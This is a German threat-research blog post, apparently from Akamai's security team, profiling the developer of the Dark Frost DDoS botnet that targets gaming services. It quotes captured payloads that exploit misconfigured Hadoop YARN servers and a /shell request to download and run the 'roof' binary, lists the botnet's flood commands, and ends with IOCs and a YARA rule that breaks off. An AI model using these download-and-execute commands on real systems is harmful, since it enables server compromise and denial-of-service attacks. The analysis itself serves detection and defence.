Sie sind an Cloud Computing interessiert? Legen Sie jetzt los

Das Rätsel um Dark Frost: Entwicklerprofil eines überraschend stark verbreiteten Botnets

Allen West

Verfasser

Allen West

May 25, 2023

Allen West

Verfasser

Allen West

Allen West ist Security Researcher im Security Intelligence Response Team von Akamai. Er beschäftigt sich gerne mit Bedrohungen und entwickelt Tools. Derzeit arbeitet er an seinem Master in Informationssicherheit und -sicherung an der Carnegie Mellon University. Er hat seinen Bachelor-Abschluss in Cybersicherheit von der Northeastern University erhalten und ist Veteran des Marine Corps. Während seiner Freizeit reist, wandert und schwimmt Allen gern – er kann sich für alles im Freien und Abenteuerliche begeistern.

Redaktion und weitere Kommentare von Eliad Kimhy und Tricia Howard

Zusammenfassung

  • Das Security Intelligence Response Team (SIRT) von Akamai hat ein neues Botnetnamens "Dark Frost Botnet" identifiziert, das die Gaming-Branche ins Visier nimmt.

  • Das Dark Frost Botnet, das nach Gafgyt, Qbot, Mirai und anderen Malware-Varianten modelliert wurde, hat sich auf Hunderte infizierter Geräte verbreitet.

  • Durch Reverse Engineering und Patching der Malware-Binärdatei wurde ein UDP-Flood-Angriffspotenzial des Botnets von ca. 629,28 Gbit/s ermittelt.

  • In diesem Blogbeitrag untersuchen wir den Botnet-Entwickler. Dieser spezielle Cyberkriminelle ist ein Beispiel für ein Bedrohungsprofil, vor dem man sich in Acht nehmen sollte: wenig raffiniert, aber dennoch erfolgreich. 

  • Unsere Analyse untersucht die Motive hinter den Angriffen, die Wirksamkeit der Attacken und die Art und Weise, wie die Strafverfolgung mit ähnlichen Fällen umgeht.

Einführung

Botnets dienen unzähligen Zwecken und Zielen. In der kriminellen Welt können Botnet-Betreiber ihre Botnets für verschiedenste Bereiche nutzen: von Cryptomining bis Spam-Verbreitung. Mit der Zunahme gemieteter Botnets ist der Aufwand für DDoS- Angriffe (Distributed Denial of Service) deutlich gesunken. Doch unabhängig vom Grund kann heute einfach jeder einen solchen Angriff durchführen, solange das nötige Kleingeld vorhanden ist – und zwar mit Anwendungen, die von banal bis komplex reichen. 

In den letzten Jahren ist die Einstiegshürde für diejenigen, die lieber ein eigenes Botnet aufbauen wollen, anstatt eines zu mieten, deutlich gesunken. Und das stellt eine erhebliche Gefahr für ungeschützte Opfer dar. Es mag sich schwierig anhören, Hunderte von Geräten so zu koordinieren, dass sie ohne die Zustimmung ihrer Besitzer Aufgaben ausführen. Doch in Wahrheit ist es überraschend einfach. 

Zwar denken wir bei Botnet-Betreibern eher an raffinierte und organisierte Kriminelle, doch heute können auch Personen mit minimalen Kenntnissen eigene Malware herstellen – dank der Verfügbarkeit des Quellcodes früherer erfolgreicher Malware-Varianten und der zunehmend effektiven KI-Codegenerierung. Diese einfachen Botnets sind trotz ihrer mangelnden Raffinesse erfolgreich, was das Problem noch verschärft.

Angreiferprofil

Die faszinierende Geschichte des Dark Frost Botnets stellt uns einen verblüffenden Cyberkriminellen vor, dessen Erfolgsrate nicht zu seiner Originalität passt. Das zusammengeschusterte Botnet wurde mit gestohlenem Code verschiedener beliebter Malware-Familien erstellt (Mirai, Gafgyt und Qbot). So kann dieser Angreifer relativ erfolgreiche Attacken auf die Gamingbranche durchführen. 

Und während alledem prahlte der Cyberkriminelle in sozialen Medien mit seinen Exploits, bei denen das Botnet zum Einsatz kam, um sich in triviale Onlinestreits einzumischen. Hierbei hinterließ er sogar digitale Signaturen in seinen Binärdateien (Abbildung 1). 

Dieses Bedrohungsprofil ist weiter verbreitet, als Sie vielleicht denken. Mit genug Entschlossenheit und nur rudimentärem Programmierwissen kann fast jeder zu einer echten Bedrohung werden. Das gilt insbesondere für jüngere Personen, die die möglichen Folgen dieser Handlungen möglicherweise nicht einschätzen können. Und viele von ihnen glauben, über dem Gesetz zu stehen, und ignorieren dementsprechend geltende rechtliche Parameter, was sie gefährlicher macht als erwartet.

Der Cyberkriminelle hat auf einem Screenshot in den sozialen Medien mit seinen Exploits geprahlt. Abb. 1: Der Entwickler von Dark Frost behauptet, keine Folgen fürchten zu müssen.

Unser Ziel ist es nicht, die Aufmerksamkeit auf einen bestimmten kleinen Fisch zu lenken – eine Anerkennung, die sich der Cyberkriminelle wahrscheinlich wünscht. Deshalb haben wir beschlossen, Informationen, die den Angreifer identifizieren, aus den Zahlen in diesem Post wegzulassen. Unser Hauptziel bei der Erstellung dieses Berichts war es, dieses spezielle Botnet als Fallstudie zu verwenden und so zu zeigen, dass selbst Angreifer mit geringerem Kenntnisstand erheblichen Schaden anrichten können

Die mediale Aufmerksamkeit konzentriert sich auf die größten und gefährlichsten Bedrohungsgruppen, die völlig neue Angriffe auf ahnungslose Opfer starten. Die Wahrheit ist jedoch, dass ein großer Teil der Angreiferlandschaft aus relativ unerfahrenen Cyberkriminellen besteht. Diese verwenden zwar Angriffe, die nach heutigen Benchmarks als „schwach“ gelten, doch indem sie sich hierbei auf ungeschützte Ressourcen konzentrieren, sind sie dennoch erfolgreich. 

Infektionskampagne

Unsere erste Probe der Dark Frost-Binärdatei wurde am 28. Februar 2023 in einigen der HTTP-Honeypots des Security Intelligence Response Teams (SIRT) von Akamai gesammelt. Der Angreifer zielte auf Fehlkonfigurationen in Hadoop YARN-Servern (bisher keine CVE zugewiesen) ab, die Remotecodeausführung (Remote Code Execution, RCE) ermöglichen. Zwar sollte die Probe eigentlich den Namen „Darkness Botnet“ tragen, doch dieser Titel war 2010bereits einer DDoS-for-Hire-Kampagne zugewiesen worden. Unter Berücksichtigung des ursprünglichen Namens und anderer Verweise in der Binärdatei haben wir uns daher dafür entschieden, es „Dark Frost Botnet“ zu nennen.

Die Ausnutzung dieser YARN-Fehlkonfiguration erfreut sich in letzter Zeit wachsender Beliebtheit, da ihr bisher keine CVE zugewiesen wurde und Angreifer mit ihrer Hilfe Server dazu bringen können, die schädliche Binärdatei herunterzuladen und auszuführen. Es sei jedoch darauf hingewiesen, dass diese Schwachstelle bereits seit 2014 besteht – sie ist also bei Weitem keine neuartige Technik. Angesichts des Erfolgs, den Angreifer hiermit haben, wird sie jedoch wahrscheinlich trotz ihres Alters auch für künftige Botnets verwendet werden. 

Der Angreifer hat zu Beginn eine Sondierungsanfrage gesendet, ob die Anwendung für diese Art von Angriff anfällig ist (Abbildung 2).

  /ws/v1/cluster/apps/new-application

  (empty)

Abb. 2: Eine Sondierungsanfrage zur Überprüfung der Schwachstelle

Nachdem eine von uns bereitgestellte Instanz mit der bekannten Schwachstelle dem Angreifer eine Antwort gesendet hatte, hielt dieser das Ziel für geeignet und sendete die schädliche Payload (Abbildung 3).

  /ws/v1/cluster/apps	

  {"am-container-spec": {"commands": {"command": "cd /tmp ; pkill -9 roof ; get 
  http://xx.xx.xx.xx/roof; chmod 777 *; ./roof x86; rm -rf roof ; history -c"}}, 
  "application-id": "application_xxxxxxxxx_xxxxx", "application-type": "YARN", 
  "application-name": "xxxxxxx"}

Abb. 3: Bereitstellung der schädlichen Payload 

Es wird außerdem eine weitere HTTP-Anfrage gesendet, doch wir wissen derzeit nicht, wofür sie verwendet werden könnte (Abbildung 4).

  Feb 12, 2023 @ 00:44:13.207	

  /users/sign_up/users/sign_in

  -

Abb. 4: Zusätzliche HTTP-Anfrage (Zweck unbekannt)

Als wir uns die Datei zum ersten Mal ansahen, trug die Binärdatei den Namen „roof“. Und obwohl die Suche in verschiedenen Drittanbietertools keine Reputationsdaten für den Hash ergab, ging unsere interne Automatisierung davon aus, dass der Hash Gafgyt ähnelte (Abbildung 5). Das könnte darauf zurückzuführen sein, dass die Angreifer-IPs in den Monaten vor der Verbreitung der Dark Frost-Binärdateien eine Gafgyt-spezifische Variante verbreiteten. Wahrscheinlicher ist jedoch, dass die Automatisierung Übereinstimmungen bei verschiedenen Strings festgestellt hat, die heutzutage in vielen Malware-Varianten vorkommen. 

Screenshot zur Verbindung zu Gafgyt Abb. 5: Dark Frost zeigt Ähnlichkeiten mit der Gafgyt-Familie.

Nachdem wir verschiedene IP-Adressen durchgegangen waren, um nach zusätzlichen Binärdateien zu suchen, fanden wir weitere namens „roof“, die allesamt demselben Entwickler vom Oktober 2022 zugeordnet werden konnten. So erhielten wir eine neue IP, mit der wir Belege für zusätzliche Versuche zur Payloadverteilung sammeln konnten (Abbildung 6; zensiert aufgrund rassistischer Äußerungen des Malware-Entwicklers).

  /shell?cd%20/tmp%20%7C%7C%20cd%20/var/run%20%7C%7C%20cd%20/mnt%20%7C%7C%20cd%20/root%20%7C%7C%20cd%20/;%20wget%20http://xx.xx.xx.xx/XXXXX7%20;%20chmod%20777%20*%20;%20./XXXXX7%20arm7

Abb. 6: Beleg für zusätzliche Versuche zur Payloadverteilung

Diese Infektionsversuche waren wahrscheinlich nicht der einzige Weg, die Payload auszuführen. Jedoch liegen uns hiermit bereits jede Menge Informationen vor, um Einblicke in das Botnet und den Angreifer zu gewinnen.

Angriffe auf Gaming

Unsere erste Analyse der Datei erfolgte in Form eines einfachen „strings“-Befehls, der uns sofort zum Namen des Cyberkriminellen führte, der für diese und andere Binärdateien verantwortlich war. Wir haben diese Informationen genutzt, um zahlreiche Social-Media-Konten zu finden, die das Botnet und viele Angriffe für sich beanspruchten. 

Das Dark Frost Botnet hat in erster Linie verschiedene Bereiche der Gamingbranche ins Visier genommen, darunter sowohl Unternehmen als auch Einzelpersonen. Es wurde für DDoS-Angriffe auf Gamingunternehmen, Hostinganbieter von Spieleservern, Onlinestreamer und sogar andere Mitglieder der Gamingcommunity genutzt, mit denen der Cyberkriminelle zuvor direkt interagiert hatte. 

Manchmal scheint das Motiv Aufmerksamkeit zu sein und manchmal will der Angreifer anscheinend einfach nur das letzte Wort bei einem Streit haben. So oder so besteht die Tatsache, die diesen speziellen Fall interessant macht, darin, dass die Person hinter den Angriffen Liveaufzeichnungen ihrer Attacken veröffentlicht hat. Wenn wir einige erfolgreiche Angriffe aufschlüsseln, erhalten wir einen Überblick darüber, wie viel der Angreifer damit erreicht hat.

Suche nach Aufmerksamkeit

Dieser spezielle Cyberkriminelle hat eine ganze Reihe von Angriffen für sich beansprucht, wobei hierfür nicht immer zuverlässige Beweise vorliegen. Manchmal hat er einfach in sozialen Medien gepostet und behauptet, der Urheber verschiedener Probleme zu sein – doch eine solche Aussage hat erst einmal wenig Gewicht. Gelegentlich wurden diese Behauptungen jedoch mit Screenshots untermauert, die die Ergebnisse seiner Angriffe dokumentieren. 

Ein Beispiel hierfür ist der Tweet über einen Angriff auf die Plutonium-Server (Abbildung 7), eine Open-Source-Plattform für Spielehosting mit eigenen Servern und Mod-Unterstützung.

Ein Beispiel dafür ist sein Tweet über einen Angriff auf Plutonium-Server. Abb. 7: Der Dark Frost-Entwickler prahlt öffentlich mit Angriffen auf Plutonium-Server.

Doch Tweets wie diese sind nur der Anfang. Der Cyberkriminelle geht sogar so weit, vollständige Videos der Angriffe zu veröffentlichen, wie bei dieser Attacke auf einen AmongUs-Server (Abbildung 8).

Screenshot des Cyberkriminellen, der einen AmongUs-Serverangriff postet Abb. 8: Screenshot des Dark Frost-Entwicklers, der einen erfolgreichen Angriff auf einen AmongUs-Server per Video überträgt

Wie Sie in den Screenshots sehen können, ist dieser Angreifer schon eine Weile aktiv. Wir können ihn bis Mai 2022 zurückverfolgen, als er Rogue Company-Server angriff (Abbildung 9).

Screenshot eines erfolgreichen Angriffs auf einen AmongUs-Server Abb. 9: Screenshot des Dark Frost-Entwicklers, der einen erfolgreichen Angriff auf Rogue Company-Server per Video überträgt

Zwar schien der Angreifer seine Attacken anfangs nur zu eigenen Zwecken zu nutzen, doch später beobachteten wir, dass er weitere Konten anlegte, was auf die Absicht hinweist, eine Angriffsgruppe zu gründen. Diese Theorie wird auch dadurch unterstützt, dass eine Website zur Verfolgung von Anfragen (Abbildung 10) und ein Discord-Kanal zur Durchführung von Angriffen gegen Geld (Abbildung 11) hinzugefügt wurde.

Screenshot: Anfragen werden erfasst. Abb. 10: Anfrageerfassung auf Layer 7
 Der Cyberkriminelle verspottet einige seiner Opfer. Abb. 11: Der Angreifer wirbt für seinen Service.

Wir fanden sogar heraus, dass der Akteur einige seiner Opfer verhöhnt und Informationen über seine Käufer preisgibt (Abbildung 12).

Der Angreifer verspottet das Opfer. Abb. 12: Der Angreifer verspottet das Opfer der jüngsten Attacke.

Angesichts dieses großen Erfolgs und der Pläne, sich weiter auszubreiten, wurde uns klar, dass wir diese Bedrohung genauer unter die Lupe nehmen sollten.

Analyse der verschiedenen Schichten

Einige der schwierigsten Fragen bei der Analyse von Malware lauten: Wer ist dafür verantwortlich? Wer sind die Ziele? Und wie groß ist das Botnet? Dieser Cyberkriminelle hat netterweise die ersten beiden Fragen für uns beantwortet. Also haben wir nachgesehen, ob er auch die dritte Frage beantworten würde – was er auch tatsächlich getan hat.

Laut einem Screenshot des Malware-Entwicklers vom Februar 2023 (Abbildung 13) befinden sich 414 Geräte im Botnet, wobei die Mehrheit ARMv4-Architekturen aufweisen, gefolgt von MIPSEL und x86. Das Vorhandensein von ARMv4 ist besonders interessant, da diese Architektur ziemlich veraltet ist. Diese Methode der Kompilierung speziell für ARMv4 und ARMv7 ist üblich, da ARMv4 mit ARMv5 und ARMv6 kompatibel ist. Durch die Kompilierung für ARMv4 und ARMv7 wird gewährleistet, dass Malware auch modernere Geräte mit ARMv7-Architektur angreifen kann. 

Durch diesen dualen Ansatz kann die Malware ein breiteres Netz auswerfen und so die Wahrscheinlichkeit einer erfolgreichen Geräteinfektion erhöhen.

Screenshot des Malware-Entwicklers vom Februar 2023 Abb. 13: Screenshot: Geräteaufschlüsselung des Dark Frost Botnets

Als Nächstes mussten wir uns mit der Frage beschäftigen, wie der Angriff ablief. Hierzu haben wir unsere Honeypot-Protokolle durchsucht, um eine Payload zu extrahieren und die verwendeten Exploits zu untersuchen.

Originalität: kaum vorhanden

Ohne unser automatisiertes System zur Binärdateierfassung (Abbildung 14) wäre es schwierig gewesen, die Binärdatei in die Hände zu bekommen, da zum Zeitpunkt der Untersuchung das Verteilungs-IP ausgefallen war. 

Probe der Dark Frost-Binärdatei Abb. 14: Fehler beim Versuch, ein Beispiel der Dark Frost-Binärdatei herunterzuladen

Nachdem wir die Probe vorliegen hatten, fanden wir heraus, dass wir es mit einer x86-64-Version zu tun hatten (Abbildung 15). Diese Information war jedoch entfernt worden, was beim Reverse Engineering zu geringfügigen Schwierigkeiten führte.

Probe von Dark Frost Abb. 15: Reduzierte Probe von Dark Frost

Doch es gab viele andere Indikatoren wie Fehlerbehandlung und Nutzungsmeldungen, mit denen wir uns innerhalb des Codes orientieren konnten (Abbildung 16).

Fehlerbehandlung und Nutzungsmeldungen, um uns im Codescreenshot zu orientieren Abb. 16: Dark Frost-Fehlermeldung

Insgesamt gab es acht Angriffe, von denen einige sehr üblich waren, wie UDP und TCP. Andere waren jedoch etwas spezieller, wie z. B. zgoflood (Abbildung 17).

  “Usage: !udp <target> <port> <time> <packetsize>",
  “Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>",
  “Usage: !onepacket <target> <port> <time>",
  “Usage: !zgoflood <target> <port> <time>",
  “Usage: !socketflood <target> <port> <time>",
  “Usage: !junkflood <target> <port> <time>",
  “Usage: !std <target> <port> <time> <packetsize>",
  “Usage: !randflood <target> <port> <time> <packetsize>",
  “Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>",

Abb. 17: Angriffsoptionen für Dark Frost

Durch Reverse Engineering der Probe konnten wir einige der entfernten Funktionen umbenennen, und zwar anhand des Zwecks, den sie unserer Meinung nach erfüllten (Abbildung 18).

  > afn fcn.rand_hex_flood 0x00400620
  > afn fcn.std_flood 0x00400f80
  > afn fcn.junk_flood 0x00401080
  > afn fcn.socket_flood 0x004009d0
  > afn fcn.tcp_flood 0x004016f0
  > afn fcn.one_packet_flood fcn.00400770
  > afn fcn.zgo_flood fcn.00400880
  > afn fcn.udp_flood 0x00401450
  > afn fcn.switch_on_attacks fcn.004020e0
  > afn fcn.register_with_c2 fcn.00402ab0
  > afn fcn.watchdog_keep_alive fcn.004001c0

Abb. 18: Umbenannte entfernte Funktionen

Anschließend haben wir die Binärdatei so gepatcht (Abbildung 19), dass unsere IP als C2-Server (Command and Control) verwendet wurde. Wie Sie sehen, unterscheidet sich der Name der Stringvariablen jetzt vom tatsächlichen Wert. Interessant ist, dass der C2 vor dieser Änderung auch die IP zur Malware-Verbreitung darstellte.

Screenshot der gepatchten Binärdatei Abb. 19: Gepatchte Dark Frost-Binärdatei

Dann haben wir Ausführungsberechtigungen für die Probe erteilt und sie ausgeführt, um zu sehen, was passieren würde. Dabei wurde uns klar, dass wir es möglicherweise mit einer Linux-basierten Qbot-Variante zu tun hatten, wie die C2-Meldungen in Abbildung 20 ausdrücklich zeigen.

Umgang mit einer Linux-basierten Qbot-Variante Abb. 20: Dark Frost-Meldung zeigt Verbindungen zu Qbot.

Die genaue Herkunft dieser Malware lässt sich nur sehr schwer feststellen, da ein Großteil des Quellcodes von verschiedenen anderen erfolgreichen Malware-Varianten stammt, wobei BASHLITE eine beliebte Vorlage ist. BASHLITE ist auch bekannt für Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus und LizardStresser, was für einige Verwirrung sorgt. 

Ein gemeinsamer Bericht des CNCERT IoT Threat Research Teams und der NSFOCUS Shadow Labs vom Dezember 2022 untersucht einige der früheren Gafgyt- und Mirai-spezifischen Vorgänge dieses Entwicklers. Bei unserer manuellen Untersuchungfanden wir jedoch heraus, dass das Dark Frost Botnet anscheinend eine neuere, auf DDoS fokussierte Sammlung von BASHLITE-Ablegern ist – mit direkten Verweisen auf Qbot und vielen Ähnlichkeiten zu Gafgyt. Hierzu ein wichtiger Hinweis bezüglich Qbot im Zusammenhang mit dieser Malware: Wir beziehen uns hierbei auf den BASHLITE-Nachkommen „Qbot“, nicht auf den Banking-Trojaner „Qakbot/Qbot“. 

Es gibt mehrere öffentlich verfügbare Qbot-, Gafgyt- und Mirai-Varianten auf GitHub, die speziell für DDoS-Angriffe konzipiert sind. Wir sind davon überzeugt, dass der Angreifer einen Großteil seines Codes aus diesen Varianten übernommen und dann seinen eigenen C2 geschrieben hat. Doch selbst mit gestohlenem Code und veralteten Exploits gelang es ihm, eine ganze Reihe von Onlinediensten in die Knie zu zwingen.

Um herauszufinden, wie er das geschafft hat, begannen wir mit der Bewertung der Angriffsfunktionen.

Angriffs-Benchmarking

Indem wir den angegebenen C2-Port (TCP/420) mit einem anderen Terminal abhörten, konnten wir die C2-Verbindungsprüfungen bestehen. Doch das Programm schien mit einem Fehler beendet zu werden (Abbildung 21).

C2-Verbindungsprüfungen Abb. 21: Erfolgreicher C2-Verbindungsversuch von Dark Frost

Die Malware versucht, den Betriebssystemtyp und die Architektur der Malware-Probe zu melden, die das Gerät infiziert hat (Abbildung 22). In diesem Fall verwenden wir Arch Linux, um eine x86-Probe zu detonieren und zu untersuchen.

Malware-Probe, die das Gerät infiziert hat Abb. 22: Dark Frost-Assembly mit Gerätebericht

Nach erfolgreichem Durchlaufen der Verbindungs- und Registrierungsschritte wurde das Programm trotz unserer Bemühungen weiterhin beendet. Einige hilfreiche Fehlermeldungen wiesen darauf hin, dass in unserem Malware-Labor kein Watchdog-Treiber installiert war. Wir haben mehrmals versucht, diese Prüfung zu umgehen oder zu bestehen, bis wir festgestellt haben, dass der Prozess zwar scheinbar die Ausführung in der Befehlszeile gestoppt hatte, doch im Hintergrund ein untergeordneter Prozess gestartet worden war, der auf Befehle wartete. 

Um das zu testen, haben wir mithilfe von Internet-Relay-Chats für C2-Kommunikation den Heartbeat für eine typische BASHLITE-Variante gesendet (Abbildung 23).

Screenshot der C2-Kommunikation Abb. 23: Heartbeat-Kommunikation mit C2

Nach dem Senden des Heartbeat wurde die richtige Antwort zurückgegeben und wir waren bereit, Angriffe auf uns selbst zu starten. Der erste Angriff, den wir testen wollten, war udp_flood (Abbildung 24). Hierbei handelt es sich um eine einfache UDP-Flood, bei der jedes Paket mit „U“ auf die vom Angreifer angegebene Länge aufgefüllt wurde.

Test des Angriffs „udp_flood“ Abb. 24: UDP-Flood-Paketerfassung

Die Angriffe socketflood und junkflood schienen ebenfalls sehr ähnlich: Sie beide sendeten eine kleine Menge an hexadezimal codiertem Inhalt über TCP (Abbildung 25). Hierbei ist auch zu beachten, dass socketflood als HOLD-Flood ausgegeben wird. 

Screenshot der Angriffe „socketflood“ und „junkflood“ Abb. 25: Paketerfassung von socketflood und junkflood

Beim Testen des C2-Befehls, der als @c2 aufgeführt war, trat ein Verwendungsfehler auf. Wir kamen zu dem Schluss, dass der Angreifer wahrscheinlich !c2 meinte, also probierten wir es aus (Abbildung 26) und ein einzelnes Paket wurde gesendet.

Test des C2-Befehls Abb. 26: Gesendetes Paket für C2-Versuch

Die Angriffe onepacket, std, randfloodund zgoflood wurden ebenfalls erfolgreich gestartet, aber haben keine Daten gesendet (Abbildung 27). Das kann bedeuten, dass sich diese Funktionen noch in der Entwicklung befinden oder einfach nur defekt sind.

Angriffe „onepacket“, „std“, „randflood“ und „zgoflood“ Abb. 27: Test von onepacket, std, randflood und zgoflood

Wie Sie sehen, ist diese Malware alles andere als fehlerfrei. Wir fanden auch viele andere Hinweise, die verschiedene Nutzungsanweisungen auslösen, aber nicht zu einem Angriff führen würden, sowie zahlreiche schlecht codierte Hassbotschaften, die im gesamten Programm verteilt sind. Der Cyberkriminelle war jedoch bei vielen Angriffen erfolgreich, also wussten wir, dass wir genau untersuchen sollten, wie viel Schaden die Attacke tatsächlich anrichten konnte. 

Möglicher Schaden

Wir begannen, die Angriffe zu vergleichen, und stellten fest, dass die UDP-Flood die zuverlässigste war und die größte Leistung hatte. Wir verwendeten verschiedene Paketgrößen, angefangen bei 1.024, um zu sehen, wie sich die Größe auf die Gesamtmenge der gesendeten Daten auswirkte.

Wie in Abbildung 28 zu sehen ist, haben wir diese Konfiguration zehn Sekunden lang an einem spezifischen Port ausgeführt. Anschließend haben wir diese Daten in tcpdump erfasst, um die Ergebnisse zu analysieren (Abbildung 29).

  !udp xxx.xxx.xxx.xxx 1420 10 1024

Abb. 28: Benchmarking der Angriffe

Screenshot von tcpdump Abb. 29: tcpdump von UDP-Flood

Die Ergebnisse bei einer Paketgröße von 1.024 für zehn Sekunden waren 1,4 Millionen erfasste Pakete, was einem Datenvolumen von insgesamt 1,5 GB entspricht. Damit kommen wir auf 1,2 Gbit/s. Bei diesem Experiment wurden die folgenden Ergebnisse für verschiedene Paketgrößen erzielt (Tabelle 1).

Paketgröße

Erfasste Pakete

Gesamtgröße

Ausgabe

256

1.818.558

545 MB

436 Mbit/s

512

1.703.925

927 MB

741,6 Mbit/s

1.024

1.448.826

1,5 GB

1,2 Gbit/s

2.048

307.429

449 MB

359,2 Mbit/s

Tabelle 1: Dark Frost-Ausgabe nach Paketen (Fragmente ausgeschlossen)

Wenn wir den Test auf diese Weise durchführen würden, kämen wir sehr wahrscheinlich zu dem Ergebnis, dass der Angreifer Pakete von ungefähr 1.024 verwendet. Bei Verdoppelung sinkt die Paketausgabe aufgrund der Paketfragmentierung, d. h., wir beobachten nur die Pakete, die durch den angegebenen Port eingehen, und nicht deren Fragmente. Um den Benchmark korrekt fortzusetzen, mussten wir diese Angriffe im Loopback starten, um eine Fragmentierung zu vermeiden, und die Loopback-Schnittstelle überwachen, um die Messung zu wiederholen (Tabelle 2). 

Paketgröße

Erfasste Pakete

Gesamtgröße

Ausgabe

1.024

1.659.840

1,4 GB

1,12 Gbit/s

2.048

1.445.158

1,9 GB

1,52 Gbit/s

4.096

828.681

1,9 GB

1,52 Gbit/s

8.192

432.884

1,8 GB

1,44 Gbit/s

Tabelle 2: Dark Frost-Ausgaben einschließlich Paketfragmenten

Wie Sie sehen, beträgt die optimale Größe für die maximale Ausgabe 2.048. Danach sinkt die Anzahl der gesendeten Pakete erheblich. Das ist wahrscheinlich darauf zurückzuführen, dass die UDP-Pakete mit „U“-Zeichen aufgefüllt werden, um die gewünschte Länge zu erhalten. Und dieser Vorgang verlangsamt wahrscheinlich die Abläufe bei größeren Größen. 

Mit 1,52 Gbit/s als unserem neuen Einzelknoten-Benchmark können wir diesen Wert mit der Anzahl der Knoten im Botnet multiplizieren (414, Stand: Februar 2023), um 629,28 Gbit/s zu erhalten.

Ist DDoS illegal?

Es ist erstaunlich häufig zu beobachten, dass Amateur-Cyberkriminelle oder sogar selbst ernannte „Sicherheitsforscher“ Botnets zu verschiedenen Zwecken erstellen und in Betrieb nehmen und sich dabei anscheinend unantastbar fühlen. Und Nutzer von DDoS-for-Hire-Services wiegen sich sogar noch stärker in falscher Sicherheit: Sie glauben, dass nicht sie es sind, die sich strafbar machen, da sie ja nur fremde Services nutzen, um Angriffe zu starten. 

Tests und Entdeckungen sind zwar für junge Forscher von entscheidender Bedeutung, doch ist es unerlässlich, dass dies in ihren eigenen Umgebungen geschieht, um rechtliche Folgen oder andere Auswirkungen zu vermeiden. Verantwortliche versuchen immer häufiger, Cyberkriminelle für ihre Rolle in diesen Verbrechen zur Rechenschaft zu ziehen – um einen Präzedenzfall zu schaffen und der Öffentlichkeit zu vermitteln, dass diese Services ganz klar illegal sind.  

Ein Paradebeispiel für diese Bemühungen, gegen ähnliche kriminelle Aktivitäten vorzugehen, ist die Operation „PowerOFF“. Diese laufende Operation, die 2018 gestartet wurde und 2022 und 2023 fortgesetzt werden soll, wird zum Teil in Zusammenarbeit mit dem US Federal Bureau of Investigation, dem niederländischen nationalen Polizeikorps, Europol, dem deutschen Bundeskriminalamt, dem polnischen Zentralbüro für die Bekämpfung von Cyberkriminalität und der britischen National Crime Agency durchgeführt. Ziel ist es hierbei, zahlreiche Websites zu beschlagnahmen, die DDoS-Services anbieten – ähnlich wie die, die dieser Cyberkriminelle aufbauen und vermarkten will. Dieses harte Durchgreifen hat bisher zu mehreren Verhaftungen und Beschlagnahmungenund jeder Menge medialer Aufmerksamkeitgeführt.

Unternehmen sollten jedoch Folgendes beachten: Nur weil etwas illegal ist, heißt das nicht, dass es nicht von vielen Personen versucht wird. Und es liegt an Unternehmen, angemessene Gegenmaßnahmen zu ergreifen, um sich entsprechend zu schützen.

Fazit

Die potenzielle Reichweite dieser Cyberkriminellen ist erschreckend, obwohl ihre Techniken nicht neu sind. Zwar ist das Dark Frost Botnet nicht die fortschrittlichste oder beeindruckendste Bedrohung, doch es ist dem Angreifer dennoch gelungen, Hunderte kompromittierter Geräte zu sammeln, die seine Befehle ausführen. 

Durch den technologischen Fortschritt, den die Gesellschaft in den letzten Jahren erlebt hat, gibt es heute Methoden, über die so ziemlich jeder vom eigenen Computer aus ganz reale Konsequenzen verursachen kann. Mit klaren Plänen zur Ausweitung seines Betriebs hat der Entwickler des Dark Frost Botnets seine Absicht unter Beweis gestellt, Schaden in noch größerem Umfang anzurichten, wobei finanzielle Gewinne der Hauptanreiz sind. Es ist von entscheidender Bedeutung, dass die Sicherheitscommunity solche Cyberkriminellen bereits in ihren Kinderschuhen erkennt, bevor sie sich zu größeren Bedrohungen entwickeln. 

Es ist wichtig anzumerken, dass nicht jeder Angreifer seine Verbrechen so öffentlich zur Schau stellt wie die Person, die wir hier vorgestellt haben. Gleichzeitig wird die immer niedrigere Einstiegshürde auch weiterhin zur Schädigung von Unternehmen und Einzelpersonen führen. 

Schützen Sie sich mit Akamai

Zwar ist das Dark Frost Botnet stark genug, um viele Onlineservices in die Knie zu zwingen, doch die von Akamai geschützten Services sind hiervor ziemlich sicher. Das SIRT wird solche Bedrohungen weiterhin überwachen und die Community über die hierbei gewonnenen Ergebnisse informieren. Für weitere Echtzeitanalysen von Akamai folgen Sie uns auf Twitter.

IOCs

  • Hashes

    • 45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da8 (Dark Frost)

    • f4167f038ecc414bd074eedfb1189c104b24549d3363efc236356d383ec72c41 (selber Entwickler)

    • 0bdafdd65d9a1a0ed59745a8ef6f6fc0a0f6262c495547c3e45e203921dcc2f2 (selber Entwickler)

    • 9b328d2e3ffbac07458054c9e148b66e5d60c4aff95c1475ee975ba2f2d350bc (selber Entwickler)

    • beb8eedd346e0427ce65d8ac8c81a63922941d404ddb63b99f1e2adba3d1e769 (selber Entwickler)

  • IPs

    • 37.44.238[.]192

    • 46.249.32[.]136

    • 37.44.238[,]191

    • 178.17.174[,]182

  • Pfade

    • http://<IP-Adresse>/roof

  • YARA-Regel

    • Streng

  
rule ___Dark_Frost_roof_strict {
   meta:
      description = "Dark_Frost - file roof"
      hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
   strings:
      $s1 = "[37m] Usage: !socketflood <target> <port> <time>" fullword ascii
      $s2 = "[37m] Usage: !junkflood <target> <port> <time>" fullword ascii
      $s3 = "[37m] Usage: !randflood <target> <port> <time> <packetsize>" fullword ascii
      $s4 = "[37m] Usage: !zgoflood <target> <port> <time>" fullword ascii
      $s5 = "[37m] Usage: !std <target> <port> <time> <packetsize>" fullword ascii
      $s6 = "[37m] Usage: !udp <target> <port> <time> <packetsize>" fullword ascii
      $s7 = "[37m] Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>" fullword ascii
      $s8 = "[37m] Usage: !onepacket <target> <port> <time>" fullword ascii
      $s9 = "32352e31302e3133392e3537" ascii /* hex encoded string '25.10.139.57' */
      $s10 = "3135332e33312e3231332e3333" ascii /* hex encoded string '153.31.213.33' */
      $s11 = "3135362e33332e3234312e35" ascii /* hex encoded string '156.33.241.5' */
      $s12 = "[37m] Connected to C2 on attempt #" fullword ascii
      $s13 = "[killer] finding and killing processes holding port %d" fullword ascii
      $s14 = "[37m] Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>" fullword ascii
